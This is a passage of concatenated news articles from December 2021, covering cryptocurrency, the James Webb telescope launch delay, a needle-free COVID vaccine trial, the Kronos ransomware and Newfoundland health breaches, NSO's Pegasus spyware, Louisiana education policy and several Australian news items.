wrote Thomas Belsham, an employee in the Banks stakeholder and media engagement division. Belsham added that the scarcity and limited nature of Bitcoinno more than 21 million Bitcoins can ever be minedmay even, ultimately, render Bitcoin worthless. Around 18.9 million Bitcoins, or 90 percent of the total supply, have now been mined, but the network is designed in such a way that the final coin wont be mined until 2140. Belsham still warns that sustaining this system could become more difficult over time. Simple game theory tells us that a process of backward induction should, really, at some point, induce the smart money to get out. And were that to happen, investors really should be prepared to lose everything. Eventually. Government agencies views on Bitcoin and cryptocurrency in general tend to vary from country to country. Sweden has called for the whole of Europe to ban crypto mining over environmental concerns, while China has declared all crypto transactions illegal. El Salvador, by contrast, was the first nation to accept Bitcoin as legal tender and plans to build an entire city based around BTC. h/t: The Guardian The big picture: NASA has once again delayed the launch of the James Webb Space Telescope due to a last-minute issue. At the current rate, itll take nothing short of a miracle to get the observatory into space before Christmas. But eh, a small delay at this stage is better than something that can't be remedied once it is in space. NASA said it is working on a communication issue between the telescope and the launch vehicle. As a result, launch will now take place no earlier than December 24. The space agency promised to provide more information on the new launch date no later than December 17. Last month, NASA bumped the launch date to no earlier than December 22 after an unexpected incident when securing the observatory to the launch vehicle adapter. After a thorough review, it was determined that the telescope had incurred no damage. Development on what would become the James Webb Space Telescope started way back in 1996 as the Next Generation Space Telescope, a successor to the Hubble Space Telescope. It was renamed after NASA administrator James E. Webb in 2002 with an initial launch set for 2007. Unfortunately, myriad issues and cost overruns have delayed the launch well over a dozen times. By the time it is all said and done, the project will likely have cost NASA nearly $10 billion well over initial estimates of $1.6 billion. The James Webb Space Telescope will blast off from Kourou in French Guiana courtesy of an Arianespace Ariane 5 rocket, hopefully on Christmas Eve. (Photo : Steven Cornfield from Unsplash ) The United Kingdom (UK) is now launching trials for the needle-free COVID-19 vaccine which is said to be effective against current and future coronavirus variants. The United Kingdom (UK) is now launching trials for the needle-free COVID-19 vaccine which is said to be effective against current and future coronavirus variants. The new jab works by pushing the air through the skin instead of using the traditional syringe. University of Southampton Develops Needle-Free Vaccine Jab The needle-free injection technology is another breakthrough invention that the experts created in the field of health. To suppress the further spread of coronavirus, the University of Southampton in the UK came up with the syringe-less COVID-19 vaccine. The director of the NIHR Southampton Clinical Research Facility, Saul Faust, said that their recent vaccine differs from the typical jabs. The most notable difference here is that it could protect the person from both the future and the current COVID-19 variants such as the omicron variant which was discovered in South Africa. The clinical chief investigator added that this technology could provide a "wide-ranging protection" to many people around the world, according to a report by Metro on Tuesday, Dec. 14. Related Article: Moderna Research Shows Difficulty in mRNA Flu Vaccine Creation, 'Not a Silver Bullet' How Effective is the Needle-free COVID-19 Vaccine? Instead of feeling a penetrating needle into your skin, a "jet of air" will be pushed to deliver the vaccine inside the body. In terms of effectiveness, Daily Mail wrote in its report that this technology could predict the mutation method of a certain virus. This would also help the patients to be protected from the emerging coronavirus variants in the future. The main pioneer behind this vaccine, Professor Jonathan Heeney of the University of Cambridge ,has made this possible with DIOSynVax. The University of Southampton spearheaded the trials this early. According to Professor Heeney, people need to develop newer technologies since their body's immunities continue to decline following the emergence of different COVID-19 variants. Heeney believes that his team could further create new-generation vaccines for people's safety amid several health threats concerning the disease. He added that what they developed is innovative because it features a "broader protective response" and delivery. This would be the primary action to achieve rolling out the universal coronavirus jab soon. For those who have already received the first two doses of their vaccine, you can now participate in the trial where you can receive 785 ($1,037). Cobi Robot Injects Needleless Vaccines Last month, an article here on Tech Times reported a Cobi robot can inject needless vaccines to patients without feeling any pain. At the time, the vaccine hesitancy is high, which prompted people to steer away from being injected. Needless to say, this needleless vaccine works the same way as the UK vaccine: through a high-pressure fluid jet. It would be responsible for injecting the dosage into the tissue of the patient. Most importantly, the Cobi robot will not require any help from a health care expert to begin administering this technology to the people. According to Cobionix CEO Tim Lasswell, the robotics platform can finish the task with 100% autonomy. Read Also: Japanese Researchers Devise a Glowing COVID-19 Mask Using Antibodies From Ostrich Eggs This article is owned by Tech Times Written by Joseph Henry 2021 TECHTIMES.com All rights reserved. Do not reproduce without permission. Geminid meteor shower is currently one of the most astonishing meteor shower displays this 2021. NASA (National Aeronautics and Space Administration) announced that the Geminids had already peaked on Monday, Dec. 13, until Tuesday, Dec. 14. Although this is the case, those who want to view this space activity still have until Dec. 17. The international space agency explained that around 100 to 150 every hour. However, your place and the weather would still affect the numbers of meteors visible to the naked eye. Aside from Geminid, various meteor showers have already appeared for the last couple of months. Recently, TechTimes reported that Perseids meteor shower happened between July 14 and Aug. 24. Meanwhile, 2020 also saw some amazing space displays, such as Taurid, Leonid, other meteor showers. Geminid Meteor Shower Guide According to Fox 10 Phoenix's latest report, the best time to view Geminids would be night and pre-dawn hours. You also need to make sure that you are in a dark area where you can see the sky. Also Read: Perseids Meteor Shower 2021: Why You Should Watch This Week and Not Wait Until 2022, 2023 This means that watchers must leave the city. On the other hand, some experts claimed that the Geminid meteor shower's ideal viewing time would be at 2:00 a.m. local time (this advice is applicable for all parts of the globe). Since the latest meteor shower has already started to appear, many people who captured some photos have already shared their shots on various social media platforms, especially on Twitter. If you want to see the actual images, you can click this link. How to Capture Geminid Meteor Shower? PetaPixel provided some tips on how to view the Geminid meteor shower. These include the following methods: Since you will be adjusting the ISO, aperture, and shutter speed of your smartphone, you need to bring your own tripod. Most of the time, your shutter speed should be slow and your ISO must be high. This would allow your device to capture as much light as possible. You also need to avoid using your camera's zoom feature so that your images can retain their best qualities. Aside from this, you can also visit your Apple App Store or Google Play Store to check the free photo apps. Some of these applications offer features that are specifically for capturing meteor showers. For more news updates about meteor showers and other similar natural space events, always keep your tabs open here at TechTimes. Related Article: The Perseids and Other Meteor Showers You Can Catch During the Second Half of Every Year This article is owned by TechTimes Written by: Griffin Davis 2021 TECHTIMES.com All rights reserved. Do not reproduce without permission. Google seems like it has already ditched its augmented reality innovation since it no longer updates its AR devices and software. But, the search engine might be reviving its AR technology based on the tweet of Mark Lucovsky, a popular American software developer who recently worked with Microsoft. If his Twitter post is true, then Google could release some AR innovations that are more advanced compared to its recent augmented reality products. On Dec. 13, Lucovsky announced that he started working as the new lead of Google's Operating System team for augmented reality. Now, he posted some job offerings on LinkedIn, hinting that Google is now back on enhancing its AR initiative. New Google AR OS, Augmented Device Under Development? According to The Verge's latest report, the job postings published by Mark on LinkedIn show that Google might be working on a new AR OS< as well as an innovative augmented reality device. Also Read: Google Announces Salaries Won't Be Raised for its Employees, But Performance-Based Bonuses Will Be Given "This morning I became a Noogler. My role is to lead the Operating System team for Augmented Reality at Google," said Lucovsky via his official Twitter post. He added that if you are interested in working with Google on its new AR initiative, you can visit his LinkedIn job listings. Once you do that, the search engine giant's dev team will coordinate with your further. This morning I became a Noogler. My role is to lead the Operating System team for Augmented Reality at Google. If you are interested in joining me on this journey, I'd love to talk. Here is a link to one of the many positions I'm working to fill: https://t.co/a4glyeFxVD pic.twitter.com/hVAVKcZvQJ mark lucovsky (@marklucovsky) December 13, 2021 Aside from AR-related positions, some leaked Google job listings are also looking for professionals with expertise in camera and input hardware. If you want to know more details, you can visit this link. Google AR Job Listing's Other Details If you are one of the interested AR experts, then here are the qualifications for Lucovsky's post: Five years of experience with software development in C or C++ and with data structures/algorithms. Three years of experience testing, maintaining, or launching software products, and one year of experience with software design and architecture. Bachelor's degree or equivalent practical experience. In other news, Google's workers were granted with $1,600 cash bonus. On the other hand, Google Pixel suffers from a new bug that prevents 911 calls on Microsoft Teams. For more news updates about Google and its upcoming innovations, always keep your tabs open here at TechTimes. Related Article: Microsoft Teams Releases Update to Fix Issue That Prevents Android Users From Calling 911 This article is owned by TechTimes Written by: Griffin Davis 2021 TECHTIMES.com All rights reserved. Do not reproduce without permission. Kronos ransomware attack is one of the latest security breaches that affected a giant company. Specifically, this new cybersecurity attack affects an HR management company, Ultimate Kronos Group, which handles many agencies and other businesses. The system breach was confirmed on Saturday, Dec. 12. Involved security experts explained that many UKG's services were affected, such as its Private Cloud. Since the HR company's Private Cloud service was breached, hackers behind the ransomware attack were also able to target the agency's Healthcare Extensions, Banking Schedule Solutions, UKG's Workforce Central, as well as UKG's Telestaff. Recently, TechTimes reported that the ransomware attack is quite serious, stating that high-profile customers were affected by the massive breach, such as Tesla. Kronos Ransomware Update: Estimated Time of Fix and More According to USA Today's latest report, UKG estimates that the ransomware attack will be fixed in several weeks. The duration would depend on the company's efficient actions against the breach. Also Read: 50TB Worth of COVID-19 Vaccination Data Allegedly Deleted as Hackers Exploit the Brazilian Ministry of Health This means it could take around the end of December or by the first month of 2021. "We are working with leading cyber security experts to assess and resolve the situation, and have notified the authorities," said the Ultimate Kronos Group's Executive Vice President, Bob Hughes. He added that they are still working on identifying the full coverage of the attack. You can click this link to see more details. UKG Clients' Responses Against the Ransomware Attack The ransomware against UKG's services clearly affected various large companies, such as Puma, the YMCA, and other big names. Of course, they are also doing their part to ease the security breach somehow. The University of Utah announced that already established a task force to help identify how serious the issue really is. On the other hand, the City of Cleveland said that they are making efforts so that its staff's salaries would be uninterrupted. These are just some actions to ensure that their employees would receive their pays. As of the moment, ransomware attacks are still becoming rampant. ITP.Net reported that Kaspersky, one of the well-known security firms, provided incident responses, with 50% focusing on ransomware breaches. In other news, Chinese ransomware attacks could shut down the power of more than 30 million households. For more news updates about security threats, always keep your tabs open here at TechTimes. Related Article: Ontario Provincial Police (OPP) Arrests Man For Allegedly Coordinating Ransomware Attacks This article is owned by TechTimes Written by: Griffin Davis 2021 TECHTIMES.com All rights reserved. Do not reproduce without permission. Newfoundland and Labrador's healthcare system was recently breached by a massive cyberattack. Now, various experts claimed that the security threat seems to be more severe than they expected. As of the moment, security researchers said that the October system breach might have leaked 2,500 SINs (Social Insurance Numbers) of patients. Meanwhile, experts are criticizing the N.L. government since they still haven't released essential details about the attack, even though it is now becoming more serious. "Mitigation plans are being developed as we speak to prevent this from happening again. We actually don't see that there was ever a need for social insurance numbers to be collected that way," said David Diamond, the CEO and President of Eastern Health. Newfoundland and Labrador's Cyberattack According to CBC CA's latest report, around 2,514 patients were affected by the latest cyberattack. However, security experts discovered that some patients around the Central Health and Labrador-Grenfell Health regions were also included. Also Read: Google Chrome Users Beware: Update Your Browsers ASAP to Avoid 'Critical' Security Exploits Aside from their social insurance numbers, researchers also confirmed that other personal health details, such as their COVID-19, blood, and other laboratory tests were also compromised. However, the actual results were not compromised, as claimed by David Diamond. If you want to see more details, you can view this link. Protecting Your SINs The government of Canada's official website provided some tips on how you can protect your SINs. These include the following: Never reply to emails that ask for personal information like your SIN Never use your SIN as a piece of identification If you have a SIN card, do not carry it in your wallet or purse-store it in a safe place Provide your SIN over the phone only if you make the call and you know it is legally required These are just some of the habits you need to practice to do your part when it comes to securing your SINs. In other news, Poland's investigation would specifically look into Apple's App Tracking Transparency feature. On the other hand, Kryptowire's collaboration with Orange is expected to solve more mobile device vulnerabilities. For more news updates about security breaches, always keep your tabs open here at TechTimes. Related Article: Kronos Ransomware Update: Estimated Time To Be Fixed, Efforts of UKG's Clients, and Other New Details This article is owned by TechTimes Written by: Griffin Davis 2021 TECHTIMES.com All rights reserved. Do not reproduce without permission. WhatsApp's bug is now endlessly crashing the app for iPhone users after opening it. The issue with the messaging platform has been persistently affecting its users across the globe for a couple of hours already. WhatsApp Bug Crashes App on iPhone As per the report by 9to5Mac, essentially, WhatsApp remains inaccessible for some iPhone users. The bug that constantly shuts down the app prevents its users from reading or sending any messages from the messaging platform owned by Meta. Some iPhone users experiencing the bug on WhatsApp have stormed the social media platform, Twitter, to share the crashing issue. One of the tweets said that he could not send or receive anything from the messaging app. WhatsApp Bug: iOS 15.2 to Blame? One user even noted that his WhatsApp has been crashing since he updated to the latest version of iOS, the 15.2. It is worth noting that Apple recently rolled out an update for the iOS and iPadOS. The latest version brings new features to the iPhone and iPad, such as changes in apps like Camera, Mail, Messages, as well as the introduction of the Apple Music Voice Plan. However, although 9to5Mac confirmed that there was a bug that constantly crashed the messaging app on iOS, the issue is not limited to those who have updated to its latest version. In fact, some users who are still sporting the older version of iOS 15 are also having a hard time opening Meta's messaging app on their iPhones. On top of that, some users even reported that even the beta version of the app is facing the crashing issue on iOS. WhatsApp Crashing: How to Fix As of writing, WhatsApp has yet to release an update on the App Store. In addition to that, the messaging app has yet to acknowledge the issue for iPhone users. 9to5Mac suggested in the same report that the issue might have nothing to do with the iOS app itself. Instead, the bug could be from the servers of Facebook, which recently changed its name to Meta. Read Also: WhatsApp Crackdown: Users Who Log in With Unofficial App Versions Could Face Permaban | How to Fix This? WhatsApp Issues Just recently, last Dec 8 to be more precise, according to the news story by NDTV, WhatsApp also faced another bug that has been automatically logging its users from their accounts. It turns out that the issue shows up for users who linked their devices to their accounts. Elsewhere, WhatsApp users using an iPhone could soon get an additional feature allowing them to leave a reaction on messages. The said function has been reportedly in the works since September. Related Article: WhatsApp's New Crypto Payment Pilot Feature Allows US Consumers to Use Chatbox to Send, Receive Digital Coins This article is owned by Tech Times Written by Teejay Boris 2021 TECHTIMES.com All rights reserved. Do not reproduce without permission. Google's leaked memo told its employees that failing to follow the COVID-19 vaccination policies of the search engine giant could lead to losing their pay and eventually termination of their position in the tech firm. Google Leaked Memo As per the report by CNBC, the internal memo from the leadership of Google was first viewed by the news outlet, which urges its employees to follow the vaccination policies of the search engine. Previously, the tech giant sent out an internal memo to its employees, saying that they have until Dec. 3 to disclose their vaccination status to Google. The memo further noted that employees should present and upload documentation to prove that they have already taken their COVID-19 jab. On the flip side, those who would not get their vaccine are required to apply for either a religious or medical exemption, which Google would approve on a case-to-case basis. The leadership of Google also told its employees in the said memo that the tech giant will start reaching out to those who will fail to comply after the Dec. 3 deadline. Google: Employees to Lose Pay, Get Fired This time around, the internal document added that Google is giving their workforce until Jan. 18 to further comply with the requirements. After the deadline, the tech giant will start placing those who will fail to follow the policy on a "paid administrative leave" for a month or 30 days. Upon the completion of the 30-day leave and the employees have yet to comply with the vaccine mandate, the tech firm will begin placing them on an "unpaid personal leave," which lasts up to six months. However, after the duration of the unpaid leave, Google warned that they are scheduled to face termination, which completely removes them from their position in the search engine firm. Read Also: Singapore MOH Claims Existing COVID-19 Vaccines Work Against Omicron! But Recovered Patients Could Still Be Infected Google and COVID-19 Vaccine The search engine giant, along with its parent company Alphabet, has been vocal about its vaccine mandates since July. In fact, the CEO of the tech firm, Sundar Pichai, previously said that his company would require all of its employees who are going back to work in its offices to take the COVID-19 vaccine. Last Nov. 24, according to the news story by NBC News, hundreds of Google employees have strongly opposed the vaccination mandate of the tech firm. As such, around 600 employees of the search engine have signed a manifesto, urging Google to throw away its vaccine mandate. Related Article: Google Announces Salaries Won't Be Raised for its Employees, But Performance-Based Bonuses Will Be Given This article is owned by Tech Times Written by Teejay Boris 2021 TECHTIMES.com All rights reserved. Do not reproduce without permission. NSO Group, an Israeli tech firm that created Pegasus spyware, is reportedly undergoing financial troubles. According to the latest report, the company is planning to shut down the whole organization amid pressure from tech giants in the United States. Pegasus Spyware Maker is Running out of Money Upon learning that NSO Group is currently struggling financially, the two US-based companies grew interested in transforming the notorious organization's vision. The two investment funds claimed that they would change the "offensive" mission of the firm to a "defensive" one after the American authorities blacklisted it. Primarily, the known fact about this Israel-based firm is that it only sells its Pegasus to the governments. Specifically, the group only offers this service to countries with "extremely" poor human rights records. Since the US government noticed the activities of the NSO Group, the authorities launched a thorough investigation on it to know its motive. They even called the group a "national security risk." As a result, they imposed a complete ban for the sale and import of the Pegasus spyware, according to a report by iMore on Wednesday, Dec. 15. Following this notion, Apple filed a lawsuit against NSO over its privacy breach for iPhone users. According to the Cupertino firm, the Pegasus spyware has compromised some of its smartphones upon checking. Related Article: Pegasus Spyware Now Attacks US iPhone! Some Embassy, State Department Employees Receive Warning From Apple NSO is Experiencing Financial Struggle In another report from 9to5Mac, the controversial spyware company is now planning to close because of its financial trouble. According to the people who know the situation, NSO Group could potentially sell all of its properties to another firm. The anonymous persons who leaked this information have mentioned that various investment funds in the US are now negotiating talks with the Pegasus spyware company. At the time of writing, the sources chose not to be named because the announcement was not yet published. In addition, these companies aim to redirect Pegasus's purpose where the spyware could be used to protect smartphones instead of hacking them. This discussion will include $200 million capital that will transform NSO's product into a "defensive cyber security service." Should We Immediately Believe in Pegasus Rebranding? According to The Next Web, there's a lot of skepticism that surrounds the transformation of NSO's spyware. According to the report, it's still hard to trust a product that was once used to deliver malicious activities. Moreover, Citizen Labs' Ronald Deibert said that people should be cautious about the rebranding of Pegasus. "Warning: don't believe the hype about "defensive" products. Who'd trust that company with defense? Watch out for corporate rebranding too," Deibert, the director of the Canadian research company said. At the peak of the emergence of Pegasus spyware in July, Tech Times explained that this virus works by gaining access to the user's smartphone. The actor behind this threat could easily browse over your private messages and pictures, as well as your applications and other confidential information. The report also wrote that this dangerous spyware was connected to the deaths of some Israeli journalists. It was believed that it is used in spying up to 50,000 individuals in a contact list. Read Also: Newest iMazing 2.14's Free Feature Can Now Detect If There is Pegasus Spyware in Your iPhone This article is owned by Tech Times Written by Joseph Henry 2021 TECHTIMES.com All rights reserved. Do not reproduce without permission. Speaking before a room full of community and business leaders, Supt. Sito Narcisse on Tuesday unveiled plans to dramatically reshape Baton Rouge high schools starting next year, turning them all into early colleges where students can earn as many as 60 hours of college credit enough for an associates degree by the time they graduate. Gone are the days when theres opportunity and access for some, declares Narcisse as he spoke to the luncheon gathering held at Baton Rouge Community College. Narcisses Pathways to Bright Futures plan is part of a larger early college movement that is blurring the lines between high school and college with the aim of increasing the number of young people who eventually earn a post-secondary degree. The added college credit would come from dual enrollment courses offered through colleges and universities. Baton Rouge Community College is already on board. Narcisse said he plans to include other higher education institutions, though he has not identified which ones. Baton Rouge could require almost all high school students to take multiple college classes After months of work, Supt. Sito Narcisse is forging ahead with an ambitious plan that would automatically enroll public high school students Kim Hunter Reed, Louisianas commissioner of higher education, said the initiative fits in well with Louisianas goal of increasing to 60% by 2030 the percentage of high school graduates who later earn a post-secondary degree its currently about 48% and she hopes other school districts in Louisiana will follow suit. We have to educate, innovate and collaborate in new ways, in ways that education pipelines and opportunities have to be available to all students, not just some students, Reed said. Mayor Sharon Weston Broome said the initiative will set up children for success well beyond the walls of the classroom. "I look forward to seeing the benefits that programs like this will bring to our community, Broome said, noting she has three grandchildren who will be able to take advantage. The plan offers high school students across the East Baton Rouge Parish school system two ways to earn these 60 college credits. One is an academic track that would allow them to enter a four-year college as a junior. The other is a career-technical track where students could earn an associates degree in high school in a specific career and go directly to work when they graduate. Or students could do a combination of both, earning an industry-based certification along with their academically-oriented associates degree. It would start next fall when incoming ninth-graders, roughly 2,500 of them, would be automatically enrolled in a total of four dual enrollment courses, two in the fall and two in the spring. Those courses would be world geography followed by world history, as well as a foreign language taken over two semesters. Dual enrollment courses in higher grades would be added as next years ninth-graders advance through high school. While students are supposed to take the course, college credit is optional. So students can complete the entire course and decide once they get their grade whether its good enough to be placed on a college transcript. If they decide it is not, then the course counts only as a high school credit. As advance word of the initiative has leaked out, opposition has grown. There are concerns about the diminished role and job security for teachers currently teaching the high school versions of those courses. Another concern is whether all these new dual enrollment courses will come at the expense of Advanced Placement, in which many local high schools have invested heavily in recent years. Top stories in Baton Rouge in your inbox Twice daily we'll send you the day's biggest headlines. Sign up today. e-mail address * Sign Up In a FAQ, or frequently asked questions, document released Tuesday, school officials say that the school system will not supplant local teachers with college or university instructors and that the teachers in dual enrollment courses will work with college or university instructors to provide academic support, engage in progress monitoring and collaboratively engage with the lead instructional facilitator. As far as Advanced Placement, the FAQ says the initiative does not limit student access to AP courses. Dual enrollment debate sparked over plan for out-of-state college to teach EBR virtual students After igniting controversy with a memo calling for all ninth-graders to take dual enrollment courses through an out-of-state university, the l Narcisse spoke to a crowd that was dominated by a supportive crowd filled with people who have been involved in the initiatives formation. Few speakers even alluded to the recent criticism, including worries that the superintendent is setting students up for failure in a district where students this past spring were able to score mastery or above on only 24% of the standardized tests they took. Narcisse dismissed such concerns, saying all students can succeed with the right support and he said they will have it. "We should be opening up the floodgates and letting (students) prove they can do this work," he said. Narcisse linked the initiative to his own family story. He noted how his father arrived in the United States from Haiti working as a taxi driver but got an opportunity to go into a better career after having a conversation with someone that showed he was versed in chemistry. The new initiative is being piloted at Glen Oaks High School with a little over half of the ninth-grade class there participating. Jada Phenix, a ninth-grader at the high school, told the audience that she has already earned six college credits and has enjoyed the courses, but said she was shocked at the start of the school year when she learned what her ninth-grade would be like. We just looked at them like they were crazy, she said. We showed up to school and we were in college. Narcisse first began talking about the "Pathways to Bright Future plan last spring and has described it throughout as a certainty. The School Board, however, has yet to be heard. Its not clear if they will insist on board approval of if they will allow the superintendent to continue implementing the plan without holding a vote. The board is planning a workshop on Thursday at 4 p.m, an hour before their regular monthly meeting, to discuss the proposal. A few board members attended the luncheon, and one, Tramelle Howard, spoke. Howard, a former teacher who works as executive director of the Louisiana chapter of the national education nonprofit, The Education Trust, which has advocated for lowering barriers to students taking dual enrollment courses. Howard linked the current opposition to this proposal by the privileged community to Ruby Bridges and the opposition to racially integrate public schools in New Orleans in the 1960s. We are okay with some students getting access while allowing other students to fall behind, he said. Louisiana's top school board Tuesday rejected a $120,000, no-bid contract pushed by state Superintendent of Education Cade Brumley that helped spark an investigation by Legislative Auditor Michael Waguespack. A bid to approve the contract and two others failed at the state Board of Elementary and Secondary Education, with four in favor and five opposed. The agreement, since Sept. 13, has been financing the review of academic improvement plans by about 190 public school districts and schools in the wake of classroom problems triggered by the pandemic. Those reviews could be halted indefinitely even though state officials hoped to have them finished and posted for the public by the end of the month. Also, the state has already paid $60,000 of the amount due and the other $60,000 is due shortly. Doris Voitier, a BESE member who lives in Metairie and who chairs the committee that reviewed the issue, said the board will wait on legal guidance Wednesday on how to proceed. State education leaders request probe of education contracts; Brumley demands evidence Louisiana's top school board Thursday asked Legislative Auditor Michael Waguespack to investigate emergency contracts issued by the state Depa The issue has sparked controversy for weeks because BESE President Sandy Holloway said she was caught off guard by the emergency agreement, and that she should have had a chance to review it before it was finalized. Holloway and BESE later asked Waguespack to investigate emergency contracts issued by the state Department of Education, which triggered heated criticism for Brumley because the request cited a state law on misappropriation of public funds. That probe by the auditor is expected to last at least until January, officials said Tuesday. Brumley also has demanded that Holloway and others produce proof of wrongdoing. The contract is also controversial because it went to newly-formed Invicta Consulting LLC, whose chief executive officer is Sharmayne Rutledge, a former top official of the East Baton Rouge Parish School District. +2 BESE president turns down bid by state education chief for contract documents The president of the state school board Friday rebuffed a demand by state Superintendent of Education Cade Brumley to provide him with evidenc Rutledge was formerly supervised by Quentina Timoll, chief of staff for the department who was heavily involved in the contract process. Timoll made a spirited defense of Rutledge's hiring during a 20-minute presentation to BESE. "We have been faithful stewards of public funds," she said. Timoll said Rutledge is well suited for the job of reviewing school turnaround plans, is a 17-year educator and an expert in her field. "This is the standard operating procedure," Timoll said of the contract. "There has been no deviation in the process." Top stories in Baton Rouge in your inbox Twice daily we'll send you the day's biggest headlines. Sign up today. e-mail address * Sign Up After $342K contracts go to past school official, critics say it wasn't normal procedure State Superintendent of Education Cade Brumley's push to award $342,000 in two "no-bid" contracts to a former top official of the East Baton R But Shan Davis, executive director of BESE, said once questions starting surfacing a few weeks ago, she concluded that BESE had approved up to 40 emergency contracts that should have first been reviewed by board president Holloway. "I don't think the process, if flawed," Davis said, "it was not followed." Voiter said, "It makes me wonder what kind of internal process we have." Department officials said that, before Brumley became superintendent, contracts were handled in a similar fashion, and without controversy. Veteran department executive counsel Joan Hunt also said the agreements were handled properly and should be approved by BESE. Ronnie Morris, a BESE member who lives in Baton Rouge, said it made no sense to delay action on the agreements because it could impact needed services for students. One of the other agreements rejected was a $2.8 million amendment to an existing contract for Postlethwaite & Netterville for non-public schools grappling with the academic impact of the coronavirus pandemic. After public disagreements, can Louisiana's education leaders work together? Some aren't so sure The clash between the president of Louisiana's top school board and state Superintendent of Education Cade Brumley is raising questions about The other was for $68,500 to a group called Emergent Method to assist a state review of Louisiana's accountability system, which was generating its own controversy. Jim Garvey, a board member who lives in Metairie, said he did not think it was a good idea for BESE to approve the contracts in dispute in the middle of the investigation by the legislative auditor. Rutledge was in the audience, and her attorney Gray Sexton told BESE the contract was handled properly and should be approved. No-bid contracts are allowed because of an order by Gov. John Bel Edwards as part of the state's response to the coronavirus pandemic. Louisiana's teacher workforce is suffering from a variety of ills, including a 30% drop in the ranks of aspiring teachers, a glut of educators working outside their field of expertise and a glaring need for more racial diversity, according to a state report issued Wednesday. The findings were presented during a rare joint meeting of the state Board of Elementary and Secondary Education and the state Board of Regents. They were compiled by the 17-member Teacher Recruitment, Recovery and Retention Task Force, which is doing a two-year study authorized by the Legislature earlier this year to address a growing teacher shortage that school leaders say is making it difficult to ensure that classroom slots are filled. The report was unveiled ahead of the initial update on the issue due to the Legislature by January 14. The study said those enrolled in teacher preparation programs have dropped from 17,898 teacher candidates in 2011-12 to 12,597 in 2020-21, a 30% decline. Louisiana's teacher shortage is raising alarms: 'Fewer teacher candidates than ever' Louisiana's teacher shortage is getting worse with retirements on the rise, the number of new teachers plunging and superintendents finding it increasingly difficult to fill classroom jobs. The list of those finishing programs has fallen 15% during the same time, from 3,231 to 2,743. St. Bernard Parish Superintendent Doris Voitier, a member of BESE and an educator for half a century, said this was the first year she was unable to start the school year with enough teachers. "Alternative certification programs are coming up all over the place because that natural pipeline we used to have is not productive enough," Voitier said. Nearly one in four teachers is either uncertified or working outside their field, with math and science classes suffering the most. A total of 21% of public school math classes fall into that category and 24% of science classes, according to the task force. The panel said one goal for both BESE and the Board of Regents should be more diversity in the classroom. The report said 73% of teachers in Louisiana are White and 23.5% are Black. Top stories in Baton Rouge in your inbox Twice daily we'll send you the day's biggest headlines. Sign up today. e-mail address * Sign Up Louisiana's biggest teacher shortage? Black men are a rarity in public schools While African-Americans make up about half of the students in Louisiana's public schools, only 5% of teachers are black men. White women make up 60% of teacher ranks and Black males only 5%, it says. One of the task force recommendations is for both Regents and the state Department of Education "to develop strategies for creating a pipeline for teachers of color in educator preparation programs." "We have been talking about the need for teachers of color in the elementary, middle and high school setting," said Susannah Craig, deputy commissioner of the Board of Regents. Craig said all of the state's historically Black colleges and universities, called HBCU's, except for Dillard University have teacher preparation programs. Commissioner of Higher Education Kim Hunter Reed, a member of the task force said, "At a time when the premium on knowledge is higher than ever we face a teacher shortage, with fewer students preparing to be teachers and even fewer teachers remaining in the classroom, especially among minority populations." BESE member Belinda Davis, who lives in Baton Rouge, said the number of teachers changing careers is serious. "We have classrooms not staffed because teachers have left the profession," Davis said. Em Cooper, deputy assistant superintendent of educator development for the state Department of Education and a task force member, said exploring ways to get retired teachers back in schools is one of the short-term goals of the panel. The task force said it plans to hold "listening sessions" with teachers in 2022 to discuss opportunities and barriers to educator retention. Teacher pay trails most of the region; governor has vowed to end the gap A new survey shows average teacher pay in Louisiana is 12th of 16 states in the South, which raises doubts on whether Gov. John Bel Edwards wi It also plans to team up with the Board of Regents to study the impact of teacher entrance exams and the chances for setting up a statewide compensation plan. The state had 43,931 teachers in 2020, according to the report. The final report is due in December 2022. Watching from afar in New York as Grace Tame relived her personal trauma to make a case for political change Chip Rolley was reminded of the experience of Rosie Batty. Yet those women, each recipients of the Australian of the Year honour and household names, had never met. It felt like that was a conversation I wanted to hear, Rolley says, former artistic director of the Sydney Writers Festival and director of PEN Americas World Voices Festival. All About Women Festival co curators Chip Rolley and Larissa Behrendt at the Sydney Opera House. Credit:Kate Geraghty Tame and Batty will headline the Sydney Opera Houses All About Women festival, which celebrates its tenth year in March. Australias immunisation advisers have not ruled out bringing boosters forward to four months after a second shot as the pace of the program ramps up and doctors warn supply is running short. Just under half of people eligible for the booster in NSW have received a third dose, with 320,563 having received their shot. A syringe is prepared with the Pfizer COVID-19 vaccine. Credit:AP The national vaccine advisory group, ATAGI, is closely monitoring new data on the Omicron variant, but no immediate change is expected to the advice, which recommends a five-month interval between second and third doses. This is a rapidly changing space but at this stage boosters are still recommended five months after a second shot, said Professor Allen Cheng, co-chair of the groups COVID-19 response. However, as more evidence comes in this advice could be updated. The NSW government will intervene in the decision-making of councils that hold up rezoning bids in a drastic push to unclog the housing supply pipeline. Councils will be given maximum timeframes to assess planning proposals for new apartment blocks and residential precincts or risk forfeiting hundreds of thousands of dollars in fees from developers. NSW Planning Minister Rob Stokes says councils must abide by planning timeframes or risk the state intervening. Credit:Dominic Lorrimer Government agencies such as the Rural Fire Service will also be given a limited time to voice their objections to developments proposed on sensitive land, with silence to be taken as acceptance. Announcing the rules at a property forum on Wednesday, NSW Planning Minister Rob Stokes invoked the mantra justice delayed is justice denied in describing the effect extended deliberation and various probity measures could have in killing off development. A man has been charged with a raft of offences after allegedly sending 28 packages containing dead mice and his faeces to government agencies, including WA Police Minister Paul Papalias office. Police allege Robert Lavars, 55, sent the mail which also sometimes contained animal meat via Australia Post to police headquarters, the Fines Enforcement Registry and the Rockingham police station, among others. Robert Lavars. Credit:Facebook State Security Investigations Group, the same team tasked with protecting politicians and dignitaries, conducted the investigation and on Tuesday raided the Shoalwater mans property with tactical response group officers. Police alleged they found a hydroponic cannabis setup in an underground bunker in Mr Lavars backyard and also recovered two gel blasters. Mr Lavars was charged with 28 counts of endangering the life, health or safety of a person, cultivating a prohibited plant with intent to sell or supply, possessing drug paraphernalia in which there was a prohibited plant and possession of prohibited drugs with intent to sell or supply. During an appearance in Perth Magistrates Court on Wednesday, the court heard Mr Lavars, who has a criminal record, allegedly posted the parcels between August and December. Some arrived at their destinations while others were intercepted due to the smell, or maggots falling out of the packaging. Police prosecutors alleged Mr Lavars admitted to sending the packages as he felt victimised by police. His defence lawyer said his issues with police stemmed from an incident when he went to Rockingham police station with medication and left it there. The police then told him to collect it, or they would dispose of it. The small interaction allegedly sent him into a downward spiral, with his wife claiming he had suffered a mental breakdown and needed help. All passengers who travelled on two packed Virgin Australia flights the day Queensland's border reopened have been ordered into quarantine after a fellow traveller 